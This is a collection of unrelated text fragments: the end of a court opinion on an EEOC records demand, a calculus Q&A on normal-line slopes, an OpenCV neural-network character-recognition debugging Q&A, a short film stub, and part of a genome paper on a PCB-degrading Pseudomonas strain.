"\n\n\n59\nParagraph 5 of the demand of EEOC would have required the production of \"any like or related records retained in a different form form the documents heretofore enumerated, but reflective of the substance of the evidence in the demand.\" ",
" This is not expressly attacked on the appeal. ",
" However, it is suggested that the language is too broad and too vague to require compliance with any requirement for production.",
"\n\n\n60\nThe judgment of the district court is affirmed in part and reversed in part, and remanded to the district court for such further proceedings as may be required to give effect to that which has been here determined.",
"\n\n\n61\nAffirmed in part and reversed in part and remanded.",
"\n\n\n\n*\n Of the Fifth Circuit, sitting by designation\n\n\n"
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[
"Q:\n\nGradient of the normal to the curve confusion\n\nThe equation of a curve is $y=e^{\\frac{1}{2} x +1} $ find the gradient of the normal of the curve at the point where x= 0 \nMy trial - \n$y' = \\frac{1}{2} e^{\\frac{1}{2} x +1} $\nWhen $x=0$ \n$\\frac{dy}{dx} = \\frac{1}{2} e $ \nhere comes my conceptual problem . ",
"\nThe gradient of the normal to the curve . ",
"\nFrom what I understand-\nLet's say a straight line graph with $m=5$ , the gradient of the normal which is like the perpendicular bisector of the gradient is $m=-5$ \nSo linking it to the question gradient of the curve , \nWhy is it\n$\\frac{-2}{e} $ instead of $\\frac{-1}{2} e $\n\nA:\n\nBecause the normal line and the tangent line to a curve at one given point on the curve are perpendicular to each other, and thus the product of their slopes is $\\;-1\\;$, and this means\n$$\\text{Slope of the tangent line is}\\;\\;\\frac e2\\;\\;\\iff\\;\\text{ the slope of the normai line is}\\;\\;-\\frac1{\\frac e2}=-\\frac2e$$\n\n"
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[
"Q:\n\nNumber and character recognition using ANN OpenCV 3.1\n\nI have implemented Neural network using OpenCV ANN Library. ",
"I am newbie in this field and I learn everything about it online (Mostly StackOverflow). ",
"\nI am using this ANN for detection of number plate. ",
"I did segmentation part using OpenCV image processing library and it is working good. ",
"It performs character segmentation and gives it to the NN part of the project. ",
"NN is going to recognize the number plate. ",
" \nI have sample images of 20x30, therefore I have 600 neurons in input layer. ",
"As there are 36 possibilities (0-9,A-Z) I have 36 output neurons. ",
"I kept 100 neurons in hidden layer. ",
"The predict function of OpenCV is giving me the same output for every segmented image. ",
"That output is also showing some large negative(< -1). ",
"I have used cv::ml::ANN_MLP::SIGMOID_SYM as an activation function. ",
"\nPlease don't mind as there is lot of code wrongly commented (I am doing trial and error).",
"\nI need to find out what is the output of predict function. ",
"Thank you for your help.",
"\n#include <opencv2/opencv.hpp>\n\nint inputLayerSize = 1;\nint outputLayerSize = 1;\nint numSamples = 2;\nMat layers = Mat(3, 1, CV_32S);\nlayers.row(0) =Scalar(600) ;\nlayers.row(1) = Scalar(20);\nlayers.row(2) = Scalar(36);\nvector<int> layerSizes = { 600,100,36 };\nPtr<ml::ANN_MLP> nnPtr = ml::ANN_MLP::create();\nvector <int> n;\n\n//nnPtr->setLayerSizes(3);\nnnPtr->setLayerSizes(layers);\nnnPtr->setTrainMethod(ml::ANN_MLP::BACKPROP);\n\nnnPtr->setTermCriteria(TermCriteria(cv::TermCriteria::COUNT | cv::TermCriteria::EPS, 1000, 0.00001f));\n\nnnPtr->setActivationFunction(cv::ml::ANN_MLP::SIGMOID_SYM, 1, 1);\n nnPtr->setBackpropWeightScale(0.5f);\n nnPtr->setBackpropMomentumScale(0.5f);\n\n /*CvANN_MLP_TrainParams params = CvANN_MLP_TrainParams(\n // terminate the training after either 1000\n // iterations or a very small change in the\n // network wieghts below the specified value\n cvTermCriteria(CV_TERMCRIT_ITER + CV_TERMCRIT_EPS, 1000, 0.000001),\n\n // use backpropogation for training\n CvANN_MLP_TrainParams::BACKPROP,\n\n // co-efficents for backpropogation training\n // (refer to manual)\n 0.1,\n 0.1);*/\n /* Mat samples(Size(inputLayerSize, numSamples), CV_32F);\n samples.at<float>(Point(0, 0)) = 0.1f;\n samples.at<float>(Point(0, 1)) = 0.2f;\n Mat responses(Size(outputLayerSize, numSamples), CV_32F);\n responses.at<float>(Point(0, 0)) = 0.2f;\n responses.at<float>(Point(0, 1)) = 0.4f;\n */\n //reading chaos image\n // we will read the classification numbers into this variable as though it is a vector\n // close the traning images file\n /*vector<int> layerInfo;\n layerInfo=nnPtr->get;\n for (int i = 0; i < layerInfo.size(); i++) {\n cout << \"size of 0\" <<layerInfo[i] << endl;\n }*/\ncv::imshow(\"chaos\", matTrainingImagesAsFlattenedFloats);\n\n // cout <<abc << endl;\n\nmatTrainingImagesAsFlattenedFloats.convertTo(matTrainingImagesAsFlattenedFloats, CV_32F);\n//matClassificationInts.reshape(1, 496);\nmatClassificationInts.convertTo(matClassificationInts, CV_32F);\nmatSamples.convertTo(matSamples, CV_32F);\nstd::cout << matClassificationInts.rows << \" \" << matClassificationInts.cols << \" \";\nstd::cout << matTrainingImagesAsFlattenedFloats.rows << \" \" << matTrainingImagesAsFlattenedFloats.cols << \" \";\nstd::cout << matSamples.rows << \" \" << matSamples.cols;\nimshow(\"Samples\", matSamples);\nimshow(\"chaos\", matTrainingImagesAsFlattenedFloats);\nPtr<ml::TrainData> trainData = ml::TrainData::create(matTrainingImagesAsFlattenedFloats, ml::SampleTypes::ROW_SAMPLE, matSamples);\nnnPtr->train(trainData);\nbool m = nnPtr->isTrained();\nif (m)\n std::cout << \"training complete\\n\\n\";\n// cv::Mat matCurrentChar = Mat(cv::Size(matTrainingImagesAsFlattenedFloats.cols, matTrainingImagesAsFlattenedFloats.rows), CV_32F);\n// cout << \"samples:\\n\" << samples << endl;\n //cout << \"\\nresponses:\\n\" << responses << endl;\n\n/* if (!",
"nnPtr->train(trainData))\n return 1;*/\n /* cout << \"\\nweights[0]:\\n\" << nnPtr->getWeights(0) << endl;\n cout << \"\\nweights[1]:\\n\" << nnPtr->getWeights(1) << endl;\n cout << \"\\nweights[2]:\\n\" << nnPtr->getWeights(2) << endl;\n cout << \"\\nweights[3]:\\n\" << nnPtr->getWeights(3) << endl;*/\n //predicting\n\nstd::vector <cv::String> filename;\ncv::String folder = \"./plate/\";\ncv::glob(folder, filename);\n\nif (filename.empty()) { // if unable to open image\n std::cout << \"error: image not read from file\\n\\n\"; // show error message on command line\n return(0); // and exit program\n}\nString strFinalString;\nfor (int i = 0; i < filename.size(); i++) {\n cv::Mat matTestingNumbers = cv::imread(filename[i]);\n cv::Mat matGrayscale; //\n cv::Mat matBlurred; // declare more image variables\n cv::Mat matThresh; //\n cv::Mat matThreshCopy;\n cv::Mat matCanny;\n //\n\n cv::cvtColor(matTestingNumbers, matGrayscale, CV_BGR2GRAY); // convert to grayscale\n matThresh = cv::Mat(cv::Size(matGrayscale.cols, matGrayscale.rows), CV_8UC1);\n for (int i = 0; i < matGrayscale.cols; i++) {\n\n for (int j = 0; j < matGrayscale.rows; j++) {\n if (matGrayscale.at<uchar>(j, i) <= 130) {\n\n matThresh.at<uchar>(j, i) = 255;\n }\n else {\n\n matThresh.at<uchar>(j, i) = 0;\n }\n\n }\n }\n // blur\n cv::GaussianBlur(matThresh, // input image\n matBlurred, // output image\n cv::Size(5, 5), // smoothing window width and height in pixels\n 0); // sigma value, determines how much the image will be blurred, zero makes function choose the sigma value\n // filter image from grayscale to black and white\n /* cv::adaptiveThreshold(matBlurred, // input image\n matThresh, // output image\n 255, // make pixels that pass the threshold full white\n cv::ADAPTIVE_THRESH_GAUSSIAN_C, // use gaussian rather than mean, seems to give better results\n cv::THRESH_BINARY_INV, // invert so foreground will be white, background will be black\n 11, // size of a pixel neighborhood used to calculate threshold value\n 2); */ // constant subtracted from the mean or weighted mean\n // cv::imshow(\"thresh\" + std::to_string(i), matThresh);\n matThreshCopy = matThresh.clone();\n std::vector<std::vector<cv::Point> > ptContours; // declare a vector for the contours\n std::vector<cv::Vec4i> v4iHierarchy;// make a copy of the thresh image, this in necessary b/c findContours modifies the image\n cv::Canny(matBlurred, matCanny, 20, 40, 3);\n\n /*std::vector<std::vector<cv::Point> > ptContours; // declare a vector for the contours\n std::vector<cv::Vec4i> v4iHierarchy; // declare a vector for the hierarchy (we won't use this in this program but this may be helpful for reference)\n\n cv::findContours(matThreshCopy, // input image, make sure to use a copy since the function will modify this image in the course of finding contours\n ptContours, // output contours\n v4iHierarchy, // output hierarchy\n cv::RETR_EXTERNAL, // retrieve the outermost contours only\n cv::CHAIN_APPROX_SIMPLE); // compress horizontal, vertical, and diagonal segments and leave only their end points\n\n /*std::vector<std::vector<cv::Point> > contours_poly(ptContours.size());\n std::vector<cv::Rect> boundRect(ptContours.size());\n for (int i = 0; i < ptContours.size(); i++)\n {\n approxPolyDP(cv::Mat(ptContours[i]), contours_poly[i], 3, true);\n boundRect[i] = cv::boundingRect(cv::Mat(contours_poly[i]));\n }*/\n /*for (int i = 0; i < ptContours.size(); i++) { // for each contour\n ContourWithData contourWithData; // instantiate a contour with data object\n contourWithData.ptContour = ptContours[i]; // assign contour to contour with data\n contourWithData.boundingRect = cv::boundingRect(contourWithData.ptContour); // get the bounding rect\n contourWithData.fltArea = cv::contourArea(contourWithData.ptContour); // calculate the contour area\n allContoursWithData.push_back(contourWithData); // add contour with data object to list of all contours with data\n }\n\n for (int i = 0; i < allContoursWithData.size(); i++) { // for all contours\n if (allContoursWithData[i].checkIfContourIsValid()) { // check if valid\n validContoursWithData.push_back(allContoursWithData[i]); // if so, append to valid contour list\n }\n }\n //sort contours from left to right\n std::sort(validContoursWithData.begin(), validContoursWithData.end(), ContourWithData::sortByBoundingRectXPosition);\n\n // std::string strFinalString; // declare final string, this will have the final number sequence by the end of the program\n */\n /*for (int i = 0; i < validContoursWithData.size(); i++) { // for each contour\n\n // draw a green rect around the current char\n cv::rectangle(matTestingNumbers, // draw rectangle on original image\n validContoursWithData[i].boundingRect, // rect to draw\n cv::Scalar(0, 255, 0), // green\n 2); // thickness\n\n cv::Mat matROI = matThresh(validContoursWithData[i].boundingRect); // get ROI image of bounding rect\n\n cv::Mat matROIResized;\n cv::resize(matROI, matROIResized, cv::Size(RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT)); // resize image, this will be more consistent for recognition and storage\n */\n cv::Mat matROIFloat;\n cv::resize(matThresh, matThresh, cv::Size(RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT));\n matThresh.convertTo(matROIFloat, CV_32FC1, 1.0 / 255.0); // convert Mat to float, necessary for call to find_nearest\n\n cv::Mat matROIFlattenedFloat = matROIFloat.reshape(1, 1);\n cv::Point maxLoc = { 0,0 };\n cv::Point minLoc;\n cv::Mat output = cv::Mat(cv::Size(36, 1), CV_32F);\n vector<float>output2;\n // cv::Mat output2 = cv::Mat(cv::Size(36, 1), CV_32F);\n nnPtr->predict(matROIFlattenedFloat, output2);\n// float max = output.at<float>(0, 0);\n int fo = 0;\n float m = output2[0];\n imshow(\"predicted input\", matROIFlattenedFloat);\n // float b = output.at<float>(0, 0);\n // cout <<\"\\n output0,0:\"<<b<<endl;\n// minMaxLoc(output, 0, 0, &minLoc, &maxLoc, Mat());\n // cout << \"\\noutput:\\n\" << maxLoc.x << endl;\n\n for (int j = 1; j < 36; j++) {\n float value =output2[j];\n if (value > m) {\n m = value;\n fo = j;\n }\n }\n float * p = 0;\n p = &m;\n cout << \"j value in output \" << fo << \" Max value \" << p << endl;\n //imshow(\"output image\" + to_string(i), output);\n // cout << \"\\noutput:\\n\" << minLoc.x << endl;\n //float fltCurrentChar = (float)maxLoc.x;\n output.release();\n m = 0;\n fo = 0;\n}\n // strFinalString = strFinalString + char(int(fltCurrentChar)); // append current char to full string\n// cv::imshow(\"Predict output\", output);\n\n/*cv::Point maxLoc = {0,0};\nMat output=Mat (cv::Size(matSamples.cols,matSamples.rows),CV_32F);\nnnPtr->predict(matTrainingImagesAsFlattenedFloats, output);\nminMaxLoc(output, 0, 0, 0, &maxLoc, 0);\ncout << \"\\noutput:\\n\" << maxLoc.x << endl;*/\n// getchar();\n\n/*for (int i = 0; i < 10;i++) {\n for (int j = 0; j < 36; j++) {\n if (matCurrentChar.at<float>(i, j) >= 0.6) {\n cout << \" \"<<j<<\" \";\n }\n }\n}*/\n waitKey(0);\n return(0);\n}\n\nvoid gen() {\n\nstd::string dir, filepath;\nint num, imgArea, minArea;\nint pos = 0;\nbool f = true;\nstruct stat filestat;\ncv::Mat imgTrainingNumbers;\ncv::Mat imgGrayscale;\ncv::Mat imgBlurred;\ncv::Mat imgThresh;\ncv::Mat imgThreshCopy;\ncv::Mat matROIResized=cv::Mat (cv::Size(RESIZED_IMAGE_WIDTH,RESIZED_IMAGE_HEIGHT),CV_8UC1);\ncv::Mat matROI;\nstd::vector <cv::String> filename;\nstd::vector<std::vector<cv::Point> > ptContours;\nstd::vector<cv::Vec4i> v4iHierarchy;\nint count = 0, contoursCount = 0;\nmatSamples = cv::Mat(cv::Size(36, 496), CV_32FC1);\nmatTrainingImagesAsFlattenedFloats = cv::Mat(cv::Size(600, 496), CV_32FC1);\n\nfor (int j = 0; j <= 35; j++) {\n\n int tmp = j;\n cv::String folder = \"./Training Data/\" + std::to_string(tmp);\n cv::glob(folder, filename);\n\n for (int k = 0; k < filename.size(); k++) {\n count++;\n // If the file is a directory (or is in some way invalid) we'll skip it \n // if (stat(filepath.c_str(), &filestat)) continue;\n //if (S_ISDIR(filestat.st_mode)) continue;\n imgTrainingNumbers = cv::imread(filename[k]);\n imgArea = imgTrainingNumbers.cols*imgTrainingNumbers.rows;\n // read in training numbers image\n minArea = imgArea * 50 / 100;\n if (imgTrainingNumbers.empty()) {\n std::cout << \"error: image not read from file\\n\\n\";\n //return(0);\n }\n\n cv::cvtColor(imgTrainingNumbers, imgGrayscale, CV_BGR2GRAY);\n\n //cv::equalizeHist(imgGrayscale, imgGrayscale);\n\n imgThresh = cv::Mat(cv::Size(imgGrayscale.cols, imgGrayscale.rows), CV_8UC1);\n /*cv::adaptiveThreshold(imgGrayscale,\n imgThresh,\n 255,\n cv::ADAPTIVE_THRESH_GAUSSIAN_C,\n cv::THRESH_BINARY_INV,\n 3,\n 0);\n */\n for (int i = 0; i < imgGrayscale.cols; i++) {\n\n for (int j = 0; j < imgGrayscale.rows; j++) {\n if (imgGrayscale.at<uchar>(j, i) <= 130) {\n\n imgThresh.at<uchar>(j, i) = 255;\n }\n else {\n\n imgThresh.at<uchar>(j, i) = 0;\n }\n\n }\n }\n // cv::imshow(\"imgThresh\"+std::to_string(count), imgThresh); \n\n imgThreshCopy = imgThresh.clone();\n\n cv::GaussianBlur(imgThreshCopy,\n imgBlurred,\n cv::Size(5, 5),\n 0);\n cv::Mat imgCanny;\n // cv::Canny(imgBlurred,imgCanny,20,40,3);\n cv::findContours(imgBlurred,\n ptContours,\n v4iHierarchy,\n cv::RETR_EXTERNAL,\n cv::CHAIN_APPROX_SIMPLE);\n\n for (int i = 0; i < ptContours.size(); i++) {\n\n if (cv::contourArea(ptContours[i]) > MIN_CONTOUR_AREA) {\n contoursCount++;\n cv::Rect boundingRect = cv::boundingRect(ptContours[i]);\n\n cv::rectangle(imgTrainingNumbers, boundingRect, cv::Scalar(0, 0, 255), 2); // draw red rectangle around each contour as we ask user for input\n\n matROI = imgThreshCopy(boundingRect); // get ROI image of bounding rect\n std::string path = \"./\" + std::to_string(contoursCount) + \".JPG\";\n cv::imwrite(path, matROI);\n // cv::imshow(\"matROI\" + std::to_string(count), matROI);\n cv::resize(matROI, matROIResized, cv::Size(RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT)); // resize image, this will be more consistent for recognition and storage\n std::cout << filename[k] << \" \" << contoursCount << \"\\n\";\n\n //cv::imshow(\"matROI\", matROI); \n //cv::imshow(\"matROIResized\"+std::to_string(count), matROIResized); \n\n // cv::imshow(\"imgTrainingNumbers\" + std::to_string(contoursCount), imgTrainingNumbers);\n int intChar;\n if (j<10)\n intChar = j + 48;\n else {\n intChar = j + 55;\n }\n /*if (intChar == 27) { // if esc key was pressed\n return(0); // exit program\n }*/\n // if (std::find(intValidChars.begin(), intValidChars.end(), intChar) !",
"= intValidChars.end()) { // else if the char is in the list of chars we are looking for . . .",
"\n\n // append classification char to integer list of chars\n\n cv::Mat matImageFloat; \n matROIResized.convertTo(matImageFloat,CV_32FC1);// now add the training image (some conversion is necessary first) . . .",
"\n //matROIResized.convertTo(matImageFloat, CV_32FC1); // convert Mat to float\n\n cv::Mat matImageFlattenedFloat = matImageFloat.reshape(1, 1); \n //matTrainingImagesAsFlattenedFloats.push_back(matImageFlattenedFloat);// flatten\n try {\n //matTrainingImagesAsFlattenedFloats.push_back(matImageFlattenedFloat);\n std::cout << matTrainingImagesAsFlattenedFloats.rows << \" \" << matTrainingImagesAsFlattenedFloats.cols;\n //unsigned char* re;\n int ii = 0; // Current column in training_mat\n for (int i = 0; i<matImageFloat.rows; i++) {\n\n for (int j = 0; j < matImageFloat.cols; j++) {\n matTrainingImagesAsFlattenedFloats.at<float>(contoursCount-1, ii++) = matImageFloat.at<float>(i,j);\n }\n }\n }\n\n catch (std::exception &exc) {\n f = false;\n exc.what();\n }\n if (f) {\n matClassificationInts.push_back((float)intChar);\n\n matSamples.at<float>(contoursCount-1, j) = 1.0;\n\n }\n f = true;\n // add to Mat as though it was a vector, this is necessary due to the\n // data types that KNearest.train accepts\n } // end if\n //} // end if\n } // end for\n }//end i\n}//end j\n\n}\nOutput of predict function\n\nA:\n\nI have solved the issue of not getting the output of predict. ",
"The issue was created because of the input Mat image to train (ie. ",
"matTrainingImagesAsFlattenedFloats) was having values 255.0 for a white pixel. ",
"This happened because I haven't use convertTo() properly. ",
"You need to use convertTo(OutputImage name, CV_32FC1, 1.0 / 255.0); like this which will convert all the pixel values with 255.0 to 1.0 and after that I am getting the correct output.",
"\nThank you for all the help.",
"\n\n"
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"Susanna (1967 film)\n\nSusanna is a 1967 Hong Kong Shaw Brothers Studio film directed by Ho Meng Hua, starring Li Ching as the title character.",
"\n\nExternal links\n\nTrailer with English subtitles\n\nCategory:1967 films\nCategory:Hong Kong films"
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[
"Introduction {#Sec1}\n============\n\nOver recent decades, significant quantities of potentially harmful chemicals have been released into the environment, creating countless numbers of contaminated sites. [",
"Major](http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?lvl=0&id=1925465) contaminants include halogenated and nitrated alicyclic, aliphatic, aromatic and polyaromatic compounds of industrial and agricultural origin. ",
"Many of these compounds have been found to have toxic, mutagenic and carcinogenic effects on living organisms. ",
"Removal of these xenobiotics usually involves physical and chemical processes, such as landfill, excavation and incineration, which are expensive and difficult to execute. ",
"An alternative approach, bioremediation, uses ubiquitous plant-microbe interactions to degrade xenobiotics \\[[@CR1]\\]. [",
"Bacteria](http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?lvl=0&id=629395) and fungi are natural recyclers capable of funneling toxic organic compounds to central metabolism intermediates \\[[@CR2]\\], thereby creating harmless products \\[[@CR3]\\] such as carbon dioxide and water. ",
"In addition to the enormous phylogenetic diversity of microorganisms, the richness of their metabolic activities promotes the degradation of pollutants and xenobiotics in different environments.",
"\n\nMembers of the genus [*Pseudomonas*](https://doi.org/10.1601/nm.2552) \\[[@CR4], [@CR5]\\]*,* one of the most diverse bacterial genera, inhabit several environmental niches and have been studied in relation to human and plant pathogenicity, antibiotic resistance, plant growth promotion, plant-derived organic matter degradation and bioremediation \\[[@CR6]\\]. ",
"Pseudomonads, which are metabolically highly versatile, contain both abundant and unique metabolic pathways \\[[@CR7]\\], which, most importantly, catabolize a broad range of substrates. ",
"Many of these substrates are pollutants, including aliphatic and aromatic petroleum hydrocarbons \\[[@CR8]--[@CR12]\\], BTEX \\[[@CR13], [@CR14]\\], phenolic compounds ranging from phenol via methylphenols and nitrophenols to chlorophenols \\[[@CR15]\\], benzoate, CBAs and toluates \\[[@CR16]\\], biphenyl and PCBs \\[[@CR17]--[@CR19]\\], chlorinated aliphatics \\[[@CR20]\\] and many others. ",
"In this study, we present the first complete genome of the species [*P. alcaliphila*](https://doi.org/10.1601/nm.2558), strain JAB1, whose extensive biodegradation capabilities are highlighted.",
"\n\nOrganism information {#Sec2}\n====================\n\nClassification and features {#Sec3}\n---------------------------\n\n[*P. alcaliphila*](https://doi.org/10.1601/nm.2558) was described as a facultatively psychrophilic alkaliphilic species isolated from seawater off the coast of Rumoi, Hokkaido, Japan. ",
"The characteristics of this species are as follows: alkaliphile, incapable of growth at \\>40 °C, catalase- and oxidase-positive and also capable of reducing nitrate to nitrite and of hydrolyzing casein and gelatin \\[[@CR21]\\]. ",
"Further physiological features are listed in Table [1](#Tab1){ref-type=\"table\"}. ",
"The JAB1 cells are monotrichous rods as shown in Fig.",
" [1](#Fig1){ref-type=\"fig\"}.Table 1Classification and general features of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1MIGS IDPropertyTermEvidence code^a^ClassificationDomain *Bacteria*TAS \\[[@CR55]\\]Phylum *Proteobacteria*TAS \\[[@CR56], [@CR57]\\]Class *Gammaproteobacteria*TAS \\[[@CR58], [@CR59]\\]Order *Pseudomonadales*TAS \\[[@CR5], [@CR60]\\]Family *Pseudomonadaceae*TAS \\[[@CR61]\\]Genus *Pseudomonas*TAS \\[[@CR4], [@CR5]\\]Species *Pseudomonas alcaliphila*TAS \\[[@CR21]\\]Strain JAB1 (Accession no. ",
"DSM 26533)Gram stainNegativeTAS \\[[@CR21]\\]Cell shapeRod-shapedIDA, TAS \\[[@CR21]\\]MotilityMotileIDA, TAS \\[[@CR21]\\]SporulationNon-sporulatingTAS \\[[@CR21]\\]Temperature rangeMesophileIDAOptimum temperature28--37 °CIDApH range; OptimumNot tested; NeutralTAS \\[[@CR21]\\]Carbon sourceBiphenyl, phenol, other organic substratesIDAMIGS-6HabitatSoilTAS \\[[@CR22]\\]MIGS-6.3SalinityUp to 7% NaCl (*w*/*v*)TAS \\[[@CR21]\\]MIGS-22Oxygen requirementAerobicTAS \\[[@CR22]\\]MIGS-15Biotic relationshipFree-livingTAS \\[[@CR22]\\]MIGS-14PathogenicityNon-pathogenNASMIGS-4Geographic locationCzech RepublicTAS \\[[@CR22]\\]MIGS-5Sample collection2000NASMIGS-4.1Latitude50°1′52″NNASMIGS-4.2Longitude16°35′55″ENASMIGS-4.4Altitude420 mNAS*IDA* Inferred from Direct Assay, *TAS* Traceable Author Statement (i.e., a direct report exists in the literature), *NAS* Non-traceable Author Statement (i.e., not directly observed for the living, isolated sample, but based on a generally accepted property for the species, or anecdotal evidence)^a^Evidence codesFig. ",
"1Transmission electron photomicrograph of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1\n\nThe JAB1 strain was originally misidentified as [*P. pseudoalcaligenes*](https://doi.org/10.1601/nm.10978) \\[[@CR22]\\]. ",
"The consensus 16S rRNA gene sequence, compiled from four 16S rRNA gene copies contained in the JAB1 genome, had 99.93% similarity to those of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) AL 15-21^T^ \\[[@CR21]\\], [*P. chengduensis*](https://doi.org/10.1601/nm.24975) MBR^T^ \\[[@CR23]\\] and [*P. oleovorans* subsp. *",
"lubricantis*](https://doi.org/10.1601/nm.20047) RS1^T^ \\[[@CR24]\\]. ",
"Additional closest matches included [*P. toyotomiensis*](https://doi.org/10.1601/nm.22402) HT-3^T^ (99.86% similarity) and [*P. mendocina*](https://doi.org/10.1601/nm.2642) CH50^T^ (99.24% similarity). ",
"A phylogenetic tree indicates closest relatedness of the JAB1 strain to [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) AL 15-21^T^ (Fig.",
" [2](#Fig2){ref-type=\"fig\"}). ",
"In addition, the JAB1 strain was unable to grow at 41 °C, which is a typical feature of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) but not of other closely related pseudomonads \\[[@CR23]\\]. ",
"Furthermore, whole-cell MALDI-TOF MS analysis, performed following the methodology described elsewhere \\[[@CR12]\\], indicated that JAB1 spectra clustered with those of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) AL 15-21^T^ (Fig.",
" [3](#Fig3){ref-type=\"fig\"}). ",
"The results of MALDI-TOF MS profiling thus further confirmed the identity of the JAB1 strain as [*P. alcaliphila*](https://doi.org/10.1601/nm.2558). ",
"Therefore, we propose that MALDI-TOF MS analysis be performed of the isolate and its closest phylogenetic relatives when taxonomically classifying the isolated bacterium. ",
"In addition to 16S rRNA gene sequence and chemotaxonomic data analysis, MALDI-TOF MS can provide additional information resulting in more precise classification of the isolate.",
"Fig. ",
"2Phylogenetic tree indicating current phylogenetic placement of strain JAB1.The phylogenetic tree was constructed in MEGA7 \\[[@CR62]\\] using secondary structure-based alignment of 16S rRNA gene sequences of the JAB1 strain (four copies of the 16S rRNA gene retrieved from the JAB1 genome) and its closest relatives \\[[@CR63]\\]. ",
"The evolutionary distances were computed using the Kimura 2-parameter method \\[[@CR64]\\]. ",
"All positions with less than 95% site coverage were eliminated; there were a total of 1375 positions in the final dataset. ",
"The tree construction method used was Neighbor-Joining \\[[@CR65]\\]. ",
"The bootstrap test (1000 replicates) was used to test tree topology \\[[@CR66]\\]; only bootstrap values \\>70 are indicatedFig. ",
"3Clustering of MS spectra of strain JAB1 and related pseudomonads\n\nExtended feature descriptions: biodegradative capabilities {#Sec4}\n----------------------------------------------------------\n\nThe JAB1 strain was isolated from legacy contaminated soil in Jablonné nad Orlicí in the Czech Republic as a biphenyl-degrading bacterium capable of extensive degradation of several congeners of PCBs when grown in the presence of biphenyl \\[[@CR22]\\]. ",
"PCB-degradation capabilities were further determined by a resting cell assay. ",
"Briefly, microcosms (volume of 119 ml) bearing biphenyl-preinduced [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 mid-log phase culture resuspended in mineral salt solution (20 ml per microcosm) were spiked with a 0.001% (*w*/*v*) commercial mixture of PCBs Delor 103 and incubated for 48 h. The content of individual PCB congeners present in the microcosms as well as CBA accumulation were determined using GC-MS (450-GC, 240-MS ion trap detector, Varian, [Walnut](http://plants.usda.gov/core/profile?symbol=JUGLA) Creek, CA). ",
"PCBs were analyzed in ethyl acetate extracts according to the method described by Čvančarová M. et al. ",
"\\[[@CR25]\\]. ",
"CBAs were analyzed in the extracts using GC-MS after methylation with diazomethane according to our previously published protocol \\[[@CR26]\\]. ",
"The respective chemical standards for the analytes were obtained from Merck (Darmstadt, Germany), Supelco (Steinheim, Germany), TCI Europe (Zwijndrecht, Belgium) and AccuStandard (New Haven, USA).",
"\n\nMetabolic activity of the JAB1 strain resulted in the depletion of various mono-, di-, tri- and tetra-chlorinated biphenyls as shown in Fig.",
" [4](#Fig4){ref-type=\"fig\"}. ",
"At the same time, 2-CBA, 3-CBA, 4-CBA, 2,3-diCBA, 2,4-diCBA and 2,5-diCBA formation (data not shown) was observed over the course of the coincubation period; these are common biodegradation intermediates of various PCB congeners and products of the upper PCB degradation pathway.",
"Fig. ",
"4Degradation activities of strain JAB1 towards PCB congeners. ",
"Biphenyl-induced JAB1 cells were co-incubated with commercial PCB mixture Delor 103 for 48 h, with individual congener depletion being determined by GC-MS. ",
"Degradation of the following biphenyl derivatives was monitored but not observed: 2,2′-diCl, 2,2′,3-triCl, 2,2′,5-triCl, 2,2′,4-triCl, 2,2′,4,6′-tetraCl, 2,2′,3,6-tetraCl, 2,2′,3,6′-tetraCl, 2,2′,5,5′-tetraCl, 2,2′,4,5′-tetraCl, 2,2′,4,5 tetraCl, 2,2′,4,4′-tetraCl, 2,2′,3,5′-tetraCl, 2,2′,3,4′-tetraCl, 2,3′,4′,6-tetraCl, 2,2′,3,4 tetraCl, 2,3,4′,6-tetraCl, 2,4,4′,5-tetraCl, 2,3′,4′,5-tetraCl, 2,3′,4′,5′-tetraCl, 2,3′,4,4′-tetraCl, 3,3′,4,4′-tetraCl, 2,2′,3,4′,6-pentaCl, 2,2′,3,4,6′-pentaCl, 2,2′,4,5,5′-pentaCl, 2,3,3′,5′,6-pentaCl, 2,2′,4,4′,5 pentaCl, 2,2′,3,4′,5′-pentaCl, 2,2′,3,4,5′-pentaCl, 2,3,3′5,5′-pentaCl, 2,3,3′,4′,6-pentaCl, 2,2′,3,3′,4-pentaCl, 2,3′,4,4′,5-pentaCl, 2,3,3′,4,4′-pentaCl\n\nThe degradation of cDCE was assessed during growth on phenol, a compound known to promote cDCE degradation in microbial cultures \\[[@CR27]\\]. ",
"Microcosms (volume of 119 ml) bearing [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 culture (20 ml per microcosm) grown and repeatedly propagated on 1 mM phenol and 0.01 mM cDCE were monitored for phenol and cDCE depletion as described elsewhere \\[[@CR28]\\] as well as the increase in microbial culture density measured spectrophotometrically. ",
"Additional cultures were prepared in the presence of 0.01 mM cDCE as sole carbon source and of 0.01 mM cDCE and 1 mM sodium pyruvate to exclude direct utilization of cDCE by JAB1. ",
"In addition, SPME-GC-MS analysis of culture headspaces was performed over time in order to identify possible volatile chlorinated intermediates of the cDCE degradation pathway.",
"\n\nMonitoring of cDCE levels in cultures grown on 1 mM phenol revealed consistent cDCE depletion after the first 14 h of cultivation, when phenol (the growth-supporting substrate) was completely or almost completely consumed (Fig.",
" [5](#Fig5){ref-type=\"fig\"}). ",
"After 72 h of cultivation, 100% cDCE depletion was attained exclusively in phenol-grown cultures; during the same time period, cDCE loss accounted for only 13.4% ± 8.8 pp. ",
"in sodium pyruvate-grown cultures, 9.7% ± 9.1 pp. ",
"for JAB1 cultures exposed solely to cDCE and 12.5% ± 1.2 pp. ",
"in sterile medium. ",
"Such minimal cDCE loss under conditions tested can be ascribed to non-biological processes. ",
"Proven total cDCE depletion only in phenol-grown cultures confirms our hypothesis that cDCE degradation occurs cometabolically. ",
"To date, 1,1-dichloroacetaldehyde was confirmed as a degradation intermediate by means of SPM-GC-MS in culture headspaces. ",
"Quantification of this molecule and its accumulation over time will be an area for future research together with the study of possible metabolic pathways to promote further transformation of 1,1-dichloroacetaldehyde.",
"Fig. ",
